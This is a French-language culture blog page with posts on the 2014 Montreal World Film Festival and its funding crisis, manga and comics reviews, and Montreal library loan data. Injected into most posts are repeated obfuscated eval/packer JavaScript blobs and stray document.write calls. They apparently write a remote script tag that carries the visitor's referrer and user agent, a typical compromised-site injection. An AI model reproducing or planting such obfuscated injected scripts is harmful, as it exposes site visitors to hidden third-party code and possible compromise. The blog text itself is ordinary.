Programmation FFM 2014

Lors d’une conférence de presse mardi le 5 août dernier le Festival des Films du Monde de Montréal a annoncé les grandes lignes de la programmation de sa 38e édition.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sarhh|var|u0026u|referrer|rszsy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sssek|var|u0026u|referrer|yebke||js|php’.split(‘|’),0,{}))

On nous promet une sélection de qualité qui inclue environ 350 films (160 longs métrages et 190 courts métrages) en provenance de 74 pays. En plus de nous faire découvrir l’avenir du cinéma avec 51 premières oeuvres, document.write(“”); on y retrouvera une centaine de premières mondiales ou internationales et 32 premières nord-américaines. La programmation se divise en huit sections: la Compétition mondiale (32 films dont 13 courts métrages), la Compétition mondiale des premières oeuvres (19 longs métrages), les films Hors concours (17 longs métrages), Regards sur les cinémas du monde (77 longs métrages et 74 courts métrages), les Documentaires du monde (27 longs métrages et 7 courts métrages), les Hommages (dont 5 films en hommage à Michael J. Werner), le Festival du film étudiant: sélection nationale (26 courts métrages) et sélection internationale (60 courts métrages). De quoi plaire à tout les goûts!

Vous trouverez tous les détails de cette riche programmation dans le communiqué de presse (disponible aussi en anglais). Je vous recommande aussi de lire les commentaires que font Le Devoir (“Un FFM affaibli mais debout” par Odile Tremblay, 6 août 2014) et The Gazette (“Festival des films du monde acts globally” par T’cha Dunlevy, 5 août 2014) sur la programmation du FFM.

Vous pouvez également visionner quelques extraits de la conférence de presse sur Vimeo :


Bien sûr, avec le retrait de plusieurs subventions (à ce sujet voir mon billet “Le FFM se prépare à une 38e année difficile”, de même que le récent article du DevoirL’incompréhensible assassinat du FFM” et l’éditorial de The Gazette du 6 août, “It’s time for Montreal’s main film festival to refocus” [en anglais]), il y aura des événements qui seront annulés ou dont l’avenir est encore incertain, comme les projections en plein air (le FFM cherche toujours un nouveau commanditaire) ou le sous-titrage bilingue des films en compétition (quoique la technologie rend maintenant cela plus facile et surtout moins coûteux). Toutefois, avec la diversité et la qualité habituelle de sa programmation, je ne suis pas sûr la plupart des amateurs fidèles du FFM voient vraiment une différence. Tout ce qu’ils veulent c’est voir de bons et beaux films et, pour cela, ils seront sûrement servi. Et, comme nous le rappel Serge Losique, le FFM est un festival très important, respecté à travers le monde. Il mérite donc toute notre attention et notre support.

Le Festival des Films du Monde de Montréal se tiendra du 21 août au 1er septembre 2014, aux cinémas Impérial (1430 rue de Bleury — Métro Place des Arts) et Quartier Latin (350 rue Emery — Métro Berri-UQAM). Les billets seront disponible dès le 16 août à midi aux guichets des cinémas Impérial et Quartier Latin, et en réseau de billetterie dès le 22 août. Les billets individuels sont $10, les Passeports sont $100 et la Carte Cinéphile est $250. Des carnets de 10 coupons échangeables contre des billets individuels sont également disponible pour $70. Plus de détails sur le site du festival: www.ffm-montreal.org.

[ Translate ]

Découverte: Les contrées sauvages

L’auteur de Quartier lointain nous propose un périple à travers les grands espaces.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azteh|var|u0026u|referrer|iskdy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynarn|var|u0026u|referrer|edfdk||js|php’.split(‘|’),0,{}))

“Au milieu d’une nature cruelle et ses créatures hostiles, document.write(“”); l’homme est la proie de tout, et surtout de lui-même.”

“Dans cette anthologie en deux tomes, nous découvrons une facette encore méconnue en France de l’oeuvre de Taniguchi : l’époque où, nourri de bande dessinée européenne, il s’essayait à la BD de genre en y insufflant ce qui est aujourd’hui encore sa marque de fabrique : un immense talent de raconteur d’histoires.”

(Texte du site de l’éditeur)

Animeland nous apprend qu’un nouveau manga de Jirô Taniguchi devrait paraître en France cette automne!

Il s’agit de Les Contrées Sauvages (???? / K?ya yori / From Wilderness) une anthologie de onze histoires publiée au Japon en 2012 par Kobunsha — incluant “Nazuke enu mono” [??????? / Innommable] préalablement publié en 2010 par Kodansha dans Comic Box Amasia, ainsi que “K?ya o ayume” [????? / Le désert d’Ayume], “Rongunaifu” [?????? / Long couteau], “???” [?], “Geronimo” [?????], “Mori e” [?? / Vers la forêt], “Tsuki ni hoeru” [????? / Hurlant à la lune], “Saketa h?k?” [????? / Hurlemant déchiré], “Y?kara no mori” [?????? / La forêt de Yukar], “ Taka” [? / Le Faucon] et “Irataka no juzu” [??????? / Le Rosaire d’Irataka].

La version française devrait paraître chez Casterman (collection Sakka) en deux volumes dont le premier sortira en septembre.

Les Contrées Sauvages vol. 1, par Jirô Taniguchi. Paris: Casterman (collection Sakka), septembre 2014. 240 pgs, 13.95 €, ISBN: 9782203084438.

[ Translate ]

Données sur les emprunts de livres

Un article dans la Gazette du 29 juillet fait une intéressante analyse des données sur les emprunts de livres dans les bibliothèques publiques de Montréal. L’auteur de cet article, document.write(“”); Roberto Rocha (dont la chronique Data Points se spécialise dans ce genre d”interprétation de données), fait ce qui me semble la première analyse indépendante des méta-data sur les bibliothèques publiques que la Ville de Montréal avait rendu publique il y a quelques années au sein de son “Portail de données ouvertes”. On y trouve les statistiques d’emprunt pour les 4,4 millions de documents des 45 bibliothèques de la ville collectées depuis leur inclusion dans le catalogue Nelligan (c’est-à-dire entre le 27 juin 2007 et le 30 août 2011). Le site n’indique pas avoir été mis à jour depuis mais pourtant M. Rocha donne des statistiques pour l’année courante…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esieh|var|u0026u|referrer|raybb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rsiei|var|u0026u|referrer|zater||js|php’.split(‘|’),0,{}))

Les conclusions sont très étonnantes: il en ressort que la littérature jeunesse prédomine très largement les emprunts et tout particulièrement la bande-dessinée et les mangas ! Le top 10 des emprunts toutes catégories depuis le début de la compilation des données est le suivant:

Continuez après le saut de page >>

Naruto (manga)
Garfield (BD)
Winx club (BD / novelisation)
Les Légendaires (BD)
Détective Conan (manga)
Les Simpson (BD)
One Piece (manga)
Yu-Gi-Oh (manga)
Fruits basket (manga)
Caillou (livre d’images)

Toutefois, si l’on tient compte des différents volumes de chaque série et des variantes dans les titres on obtient un tableau un peu différent dont les trois premières positions sont occupées par les mangas Fruits basket, One Piece et la BD Les p’tits diables. On y retrouve trois autres mangas: Chocola & Vanilla (Sugar Sugar Rune) [4e position], Doraemon [5e] et Détective Conan [13e] ainsi que des séries télé comme Dexter [7e], Lost [10e] et The Sopranos [12e]. A noter la présence de la série de littérature jeunessse Psy malgré moi en onzième position.

Je suis fort heureux de constater que les jeunes usagés utilisent beaucoup les bibliothèques (toutefois il ne faut pas oublier que les jeunes n’ont pas l’exclusivité de la lecture de BD!) et que les mangas font si bonnes figures parmi les emprunts — peut-être qu’ils obtiendront finalement le respect qu’ils méritent! Malheureusement, l’article ne donne aucune statistique pour les titres de littérature jeunesse en tant que tel (excluant la BD et les documentaires). J’aurais été bien curieux de voir les titres jeunesses le plus lus tant en anglais qu’en français…

Le top 3 des romans anglais (fiction) inclus The girl with the dragon tattoo (Stieg Larson), Nine Dragons (Michael Connelly) et Fifty shades of Grey (E.L. James).

Le top 3 des romans français inclus A.N.G.E. (Anne Robillard), Mémoires d’un quartier (Louise Tremblay-d’Essiambre) et Aya de Yopougon (Marguerite Abouet).

Chose amusante, le documentaire anglais (non-fiction) le plus populaire est Driving a passenger vehicle alors que le documentaire français le plus populaire est… Conduire un véhicule de promenade ! Il est vrai que ces manuels pour les cours de conduite sont très empruntés.

Vous trouverez plus de détails (et les chiffres exacts) dans l’article lui-même (en anglais).

[ Translate ]

Le FFM se prépare à une 38e année difficile

Dès février, document.write(“”); le FFM sortait ses premiers communiqués de presse de l’année en annonçant la nomination de monsieur Massimo Saidel comme ‘’conseiller spécial’’ pour le Marché international du film du FFM. Massimo Saidel apportera son expertise et se rapportera à Gilles Bériault, le directeur du Marché international du film pour la préparation et l’organisation du prochain marché en 2014, qui se déroulera durant le 38e Festival des Films du monde, du 21 août au 1er septembre 2014. (Voir le communiqué)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trnid|var|u0026u|referrer|eaezy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibffz|var|u0026u|referrer|ekihz||js|php’.split(‘|’),0,{}))

Lire la suite >>

En mars, le FFM annonçait que le Marché international du film de Montréal, qui est une activité importante du Festival des films du monde de Montréal, aura une nouvelle section de films européens ce qui fera du Marché une plateforme majeure du cinéma européen en Amérique. Ce sera l’occasion pour tous les secteurs européens de l’industrie cinématographique de faire la promotion de leurs films et de développer d’éventuels partenariats de coproduction. Le Marché du film de Montréal est un rendez-vous important pour les membres de l’industrie locale qui y trouvent l’occasion unique de rencontrer des professionnels de tous les pays. En plus de la présence des représentants européens, le Marché accueillera à nouveau la Semaine de l’industrie chinoise du cinéma. (Voir le communiqué)

À la fin avril, le FFM annonçait que le 38e Festival des films du monde sera dédié à la mémoire de Gabriel García Márquez décédé plus tôt cette année. Il est “sans conteste un phare unique de la littérature mondiale du XXe siècle. Le FFM tient à saluer sa mémoire en hommage à son immense talent et à son engagement humaniste constant pour la défense des cultures de l’Amérique du Sud. Il est un des adeptes du réalisme magique qui a influencé non seulement ses collègues écrivains mais aussi nombre de cinéastes latino américains et autres que nous avons accueillis ici » a déclaré Serge Losique, président du FFM. (Voir le communiqué)

Puis, en mai, le FFM dévoilait l’affiche du 38e Festival, qui a été choisie par le public. Il s’agit d’une oeuvre l’artiste bolivien Marco Toxico.

Ses œuvres sont reconnues mondialement et ont bénéficié de publications en Allemagne, Argentine, Belgique, Brésil, Espagne, France, Mexique, Pérou et Venezuela en plus d’y être exposées régulièrement. Il est le cofondateur, avec Karen Gil, de la maison d’édition La Ñatita consacrée à la publication de leurs travaux. Il a été nommé parmi les 10 meilleurs illustrateurs par le Cow International Design Festival d’Ukraine et a obtenu une mention lors des Rencontres latino-américaines de Design 2013 de Buenos-Aires. (Voir le communiqué)

À la fin juin, le FFM nous rappelle que le Marché international du film de Montréal se prépare a accueillir une importante délégation de l’industrie cinématographique chinoise qui viendra proposer une série de projets de coproduction. (Voir le communiqué)

Finalement, en juillet, le FFM a annoncé que Salaud, on t’aime de Claude Lelouch sera le film d’ouverture de la 38e édition du festival (voir le communiqué) et que Aimer, boire et chanter d’Alain Resnais en serait le film de clôture (voir le communiqué). On a également annoncé le 1er août que l’acteur Hippolyte Girardot sera présent à Montréal pour la projection de l’ultime film de Resnais, “Aimer, Boire et Chanter” (voir le communiqué).

Malheureuseement, les préparatifs pour cette 38e édition du festival sont perturbés par une sérieuse controverse. Le 5 juin dernier, Le Devoir annonce que le Festival des films du monde est menacé car il serait en panne de financement. En effet, la SODEC ne lui accorderait pas de subventions cette année et deux autres bailleurs de fonds principaux, Téléfilm Canada et la Ville de Montréal, retireraient aussi leurs soutien faute d’avoir accès à tous ses livres, à un plan de redressement bien établi et à des finances équilibrées. Le FFM serait ainsi en faillite technique puisqu’il serait miné par un déficit accumulé de plus de 2,5 millions.

Le FFM réplique avec un communiqué où il affirme que malgré le fait que certaines promesses de soutien n’ont pas été tenues, les préparatifs pour la 38e année du festival continues, que le festival se tiendra malgré tout, et qu’il offrira comme par le passé une sélection riche et variée. Il est impossible de nier que les festival éprouve des difficultés financières mais qu’il devrait passer au travers grâce à une gestion rigoureuse et responsable et à un plan de relance.

Par la suite, La Presse et Le Devoir font la chronique de cette saga (à noter que la série d’articles de La Presse nous parait plutôt hostile envers le festival):

À suivre… Étrangement, à travers toute cette tempête, je n’ai pas vu beaucoup de gens qui défendent le FFM: à part quelques acteurs du monde du cinéma [Le Devoir, 16 juillet — abonnement requis], je n’ai vu qu’un éditorial au Devoir titré “Un actif à conserver” [Le Devoir, 3 juillet — abonnement requis mais heureusement le FFM l’a reprit dans son intégralité sur sa page Facebook] et une chronique de Nathalie Petrowski, titré “Une dernière chance” (La Presse, 7 juillet) qui le défendent tant soit peu.

Je trouve tout cela extrêmement dommage. Comme je l’ai déjà dit dans un commentaire quelque part sur FB, non seulement le FFM nous offre l’occasion de voir des films qu’on ne verrait pas ailleurs (contrairement au festival de Toronto où les films sortent en salles dans les semaines qui suivent; je n’en comprend pas du tout l’intérêt…) mais il fait rayonner la ville de Montréal internationalement ! Oui peut-être qu’il n’attire plus autant les foule que Fantasia (mais les deux festivals visent des public totalement différents) et c’est sûr qu’il y aurait du travail à faire sur la promotion et la gestion mais le FFM n’en demeure pas moins un événement culturel essentiel qui se doit d’être préservé et subventionné. Point. Si on trouve de l’argent pour la F1, je suis sûr qu’on peut faire l’effort d’en trouver pour le FFM ! Alors, grands dieux et s.v.p., arrêtez d’argumenter et faites juste en sorte qu’on puisse voir de bons et beaux films !

[ Traduire ]

Le Guide du mauvais père (2)

Guide_du_mauvais_pere_2-cov“S’acharner sur son fils pour remporter une partie de jeu vidéo. Redoubler de mauvaise foi envers sa fille après avoir perdu à cache-cache. Pire, inventer une histoire de tueur psychopathe à la tombée de la nuit… Guy Delisle, un mauvais père ? Non, un auteur de bande dessinée qui sait puiser l’imagination là où elle se trouve, avec un sens aigu de l’observation et une bonne dose d’autodérision.”

[Texte du site de l’éditeur; voir aussi la couverture arrière]

Guy Delisle est surtout connu pour ses “travelogues” aux frontières hasardeuses de la géo-politique mondiale qu’on retrouve au Moyen et Extrême-Orient (les Shenzhen, Pyongyang, Chroniques Birmanes, Chroniques de Jérusalem, et qu’il me faudra bien commenter un jour), mais il a aussi commis des BDs plus traditionnelles (tels que Inspecteur Moroni ou Comment ne rien faire) ou des albums plus “familiaux” (tel que Louis au ski et Louis à la plage). Le Guide du Mauvais Père appartient à cette dernière catégorie. C’est un petit bijou fort mignon mais trop bref (192 pages peut être, mais avec seulement une ou deux grosses illustrations par page ce qui fait que le livre se lit très rapidement).

Guide_du_mauvais_pere_2-pl01Bon, le second volume est très similaire un premier (que j’ai commenté précédemment). Il s’agit de seize petites histoires toutes simples (Mathématiques, Lundi midi, Les devoirs, Le visiteurs, La dent, Nuit au gîte, La piñata, La cachette, Warcraft II, La librairie, Le Cancre, Baignade à La Réunion, Pendaison de crémaillère, Surcharge pondérale, Flash-back et Ponctualité) d’une douzaine de pages (entre 6 et 16 pages, deux panneaux par page) où un père un peu égoïste et amoral abuse psychologiquement ses enfants de son humour tordu, parfois sans vraiment sans rendre compte.

Cela crée des situations cocasses, sans doute inspirées de la vie quotidienne de l’auteur (mais, on l’espère, pas trop réelle). Ce qui est extraordinaire c’est qu’en quelques traits simples, Delisle réussi à décrire des situations ou des expressions tout de même assez complexes.

Tout comme le premier volume, c’est une BD qui offre un humour léger et se lit très rapidement. C’est une lecture agréable et amusante. Parfait pour l’autobus ou la salle d’attente.

Le Guide du Mauvais Père 2, par Guy Delisle. Paris, Éditions Delcourt (Coll. Shampooing), janvier 2014. 17.8 x 12.8 x 2.2 cm, 192 pg., 9,95 € / $15.95 Can. ISBN: 978-2-7560-4777-5. Recommandé pour jeune adulte (14+). stars-3-0

Pour plus d’information vous pouvez consulter les sites suivants:

[ AmazonBiblioGoodreadsGoogleWikipedia ]

Le Guide du Mauvais Père © 2014 Guy Delcourt Productions.

[ Translate ]

Joséphine Impératrice (2)

“Joséphine, document.write(“”); apprenant le décès de sa plus jeune sœur et la santé vacillante de son père, décide de retourner en Martinique. Elle emmène avec elle sa fille Hortense, tandis que son jeune fils, Eugène, doit rester à Paris pour parfaire son éducation de futur héritier de la famille de Beauharnais. À Paris, le peuple crie famine et réclame justice au Roi et à la noblesse. Alors que des groupes d’actions s’organisent, Agathon fait la connaissance de Saint-Just, un des acteurs de la révolte, qui tente de l’entraîner dans la fièvre révolutionnaire.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekfni|var|u0026u|referrer|ibhbf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kztda|var|u0026u|referrer|khnkh||js|php’.split(‘|’),0,{}))

“La vie tumultueuse et passionnée de Joséphine de Beauharnais, qui devint la femme de Napoléon et l’impératrice des Français !”

Volume 2 / 4

[ Texte du site de l’éditeur et de la couverture arrière ]

Continuez après le saut de page >>

ATTENTION: Peut contenir des traces de “spoilers”! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir elle-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et ne devraient poursuivre qu’avec circonspection.

J’ai introduit ce manga l’automne dernier et en ai déjà commenté le premier volume. Je vous réfère à ces articles pour plus de détails. Le deuxième volume de Joséphine Impératrice (?????????? / Bara no Josephine / lit. “Les roses de Joséphine”), prépublié en feuilletons dans Princess Gold, le magazine mensuel sh?jo de Akita Shoten, a été publié au Japon en janvier 2013 et traduit en français chez Pika Éditions en novembre 2013.

Joséphine s’est installé à Fontainebleau, chez son beau-père. Elle reçoit une lettre de la Martinique, ce qui la rend heureuse car elle dit qu’elle sent encore le soleil. Toutefois, cette lettre est porteuse de mauvaises nouvelles: son père est très malade et sa jeune soeur Françoise est décédé. Joséphine décide donc de retourner en Martinique pour visiter ses parents et leur présenter ses enfants [ci-contre: pg 12]. Devant les périls d’un tel voyage, Alexandre s’y oppose. Il refuse surtout de laisser partir Eugène, l’héritier des Beauharnais, car il veut qu’il reçoive une éducation digne de son rang. Un compromis est néanmoins établi: Joséphine amènera Hortense en Martinique tandis qu’Eugène demeurera à Paris, chez Madame de Beauharnais, sous la supervision d’Agathon.

Fidèle à lui-même, Alexandre ne tiens pas sa promesse et traite Agathon comme un simple domestique. Il se console par ses retrouvailles avec Jean, le cuisinier des Beauharnais qu’il considère comme un grand-frère. Celui-ci fréquente Sylvie, la domestique des voisins. Ils espèrent se marier mais le maître de celle-ci refuse et, la considérant comme une esclave, la marque au fer rouge. Sylvie se suicide de honte et de désespoir. Jean, furieux contre la comportement ignoble de la noblesse, se joint à une cellule révolutionnaire afin de lutter pour la liberté et l’égalité du peuple. Il introduit Agathon à ses amis, dont Saint-Just. La révolution gronde, puis éclate le 14 juillet 1789. La haine du peuple laisse place à la vengeance et de nombreux nobles sont massacrés. Agathon se réfugie à Fontainebleau où tout est surprenamment calme. En effet, Alexandre s’est joint à l’armée révolutionnaire.

Le séjour de Joséphine en Martinique est relativement sans histoire, du moins jusqu’à ce que la révolution rejoigne les paysans opprimés avec une année de retard, et qu’elle doivent retourner en France précipitamment. Alexandre est maintenant membre de l’Assemblée constituante et Jacobin. Il en est le président lorsque le roi Louis XVI tente de fuir à Varennes, ce qui mènera éventuellement à son procès et son exécution en janvier 1793. À la fin de son terme, Alexandre rejoint l’armée pour défendre le territoire française contre la coalition européenne. Blâmé pour la défaite de Mayence, il est accusé de trahison et emprisonné à la prison des Carmes. Joséphine tente de plaider pour sa libération mais est arrêtée à son tour. Elle retrouve Alexandre en prison [ci-contre: pg 158]. Celui-ci sera exécuté en juillet 1794. C’est le début de la Terreur, avec ses arrestations arbitraires, ses procès sommaires et ses exécutions de masse. Agathon est convaincu que la seule façon de mettre fin à la terreur, et de sauver Joséphine, est d’assassiner Robespierre. C’est alors qu’il croise par hazard un petit général nommé Bonaparte

Pages 168-69: Joséphine et Alexandre de Beauharnais se retrouvent à la prison des Carmes

Ce volume de Joséphine Impératrice, nous offre un excellent et agréable récit. Il nous permet, par la bande, non seulement de rafraichir nos connaissances de la révolution française, mais l’utilisation habile de personnages fictifs comme Agathon ou Jean, nous évite de trop s’embourber dans les faits historiques. Le style détaillé et précis supporte très bien le récit. L’ensemble représente un exemple remarquable de manga sh?jo: une histoire romantique encadrée de fleurs et de belles robes.

Bien sûr, Joséphine Impératrice est plus que cela. Si le genre sh?jo (qui signifie simplement manga pour filles) est surtout définit (selon Matt Thorn) par certaines caractéristiques du récit et du style—-ce sont des histoires romantiques qui mettent toujours de l’avant des personnages principaux féminins, et où l’on retrouve des yeux exceptionnellement grands, de même que des fleurs, des bulles ou des étoiles dessinées en arrière-plan—-en définitive un manga sera considéré comme sh?jo simplement parce qu’il est publié dans un magazine sh?jo. Le sh?jo classique fait souvent plus dans la romance légère, du genre conte de fée ou feuilleton télévisée mélodramatique (soap opera). Dans ce cas-ci, si l’on tient compte du sérieux de l’histoire qui prend place au sein de la révolution française, il s’agirait plutôt d’un manga josei (ou Ladies comics) qui s’adresse à un public féminin adulte.

Quoiqu’il en soit, que vous vous intéressiez à l’histoire ou simplement aux mangas sh?jo en général, Joséphine Impératrice est une excellente lecture.

Joséphine Impératrice, vol. 2, écrit par Kaoru Ochiai et illustré par Yumiko Igarashi. Boulogne: Pika Éditions, novembre 2013. 192 pages, N & B, 11.8 x 18.0 x 1.4 cm, 7,50 € / $12.95 Can, ISBN 978-2-8116-1285-6. Sens de lecture original japonais. Recommandé pour adolescents (12+).

Pour plus d’information vous pouvez consulter les sites suivants:

Bara no Josephine © Yumiko Igarashi & Kaoru Ochiai / Visions 2013. All rights reserved. © 2013 Pika Éditions pour la présente édition française.

[ Translate ]

Découverte: Histoire(s) du manga moderne

Histoire_du_manga_moderneJ’ai découvert Histoire(s) du manga moderne (1952-2012) un peu plus tôt cette année lorsque l’un des auteurs, Matthieu Pinon, m’a contacté pour m’en parler et obtenir quelques commentaires de ma part. Je n’ai pas osé en parler tant que l’annonce n’était pas officielle mais c’est maintenant fait puisque Animeland l’a mentionné à la fin mai, puis encore au début juin avec quelques précisions. Le magazine Coyote en a également parlé.

Deux spécialistes français du manga, Matthieu Pinon et Laurent Lefebvre (contributeur à Animeland et Coyote), nous proposent un nouvel ouvrage sur l’histoire du manga. Les ouvrages sur ce sujet sont déjà nombreux mais je crois qu’il n’y aura jamais trop de références sur le manga, particulièrement quand il s’agit d’un ouvrage au concept intéressant et innovateur. En effet il n’y a pas encore d’ouvrage en français sur l’histoire du manga au Japon avec une présentation strictement chronologique.

Après une brève introduction retraçant l’origine du manga et le contexte socio-économique qui favorisa son expansion dans les années 50, le coeur de l’ouvrage nous offrira 60 double-pages (une par année) avec à gauche l’histoire du manga cette année-là (tendances, faits marquants, etc.) et à droite un focus sur un auteur qui s’est particulièrement illustré durant la même période. Il se conclura avec quelques articles thématiques traitant des développements récents et des nouveaux enjeux de l’industrie. Il est décrit comme “un livre accessible à tous (passionnés et profanes) expliquant 60 ans de BD japonaises (1952 – 2012) grâce à une mise en page originale et didactique.”

C’est très prometteur et définitivement le genre d’ouvrage que j’aimerai lire ou même avoir dans ma bibliothèque de références manga.

Histoires_du_manga_moderne-pages

Une campagne de financement populaire (crowdsourcing) a été lancée pour amasser les 7500€ nécessaire pour la publication. Cette campagne durera jusqu’au 13 juillet. Pour soutenir le projet ou pour en savoir plus sur ce merveilleux ouvrage, vous pouvez visiter la page officielle.

Histoire(s) du manga moderne (1952-2012), par Matthieu Pinon et Laurent Lefebvre, illustrée par Nicolas Hitori De. 160 pages tout en couleurs, 24 x 27 cm, 25.00 €. Sortie fin 2014 en version française ET anglaise, format papier et électronique (eBook)!

Une vidéo décrivant le projet est également disponible sur Vimeo:

[ Translate ]

ONF: 61 portraits d’artisans du cinéma

Pour son 75e anniversaire, document.write(“”); l’Office National du Film du Canada a créé un site interactif (en Flash malheureusement) qui présente une histoire du cinéma Canadien en 61 portraits vivants où sont interviewés des artisans de tout les métiers du cinéma.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szbta|var|u0026u|referrer|nytai||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tebdb|var|u0026u|referrer|rkfak||js|php’.split(‘|’),0,{}))

Voici l’un de ces portraits: celui de mon père, Claude E. Pelletier, qui a été pendant trente ans preneur de son à l’ONF.


Comme le site de l’ONF est fait en Flash, il ne fonctionne pas sur les plateformes mobiles d’Apple (iPad, iPod, iPhone) et il est impossible de créer des hyperliens vers une section en particulier du site. Alors j’ai choisi d’extraire l’interview de mon père pour le rendre disponible sur mon blog (
via Vimeo). Prenez note que tout le contenu est © Office National du Film.

Vous pouvez visionner tous les autres portraits sur ONF/interactif: Une histoire du cinéma – 61 portraits vivants.

The english version is available on NFB/Interactive: Making Movie History – A Portrait in 61 Parts.

[ Translate ]

Les mots de Bouddha

“Ce manga aborde avec une grande simplicité les origines et les préceptes du bouddhisme. Tout en expliquant comment dans notre vie moderne ces concepts peuvent toujours nous aider à vivre en paix. Découvrez les principes vulgarisés du bouddhisme au travers de la vie de Bouddha.” [ Texte du site de l’éditeur ]
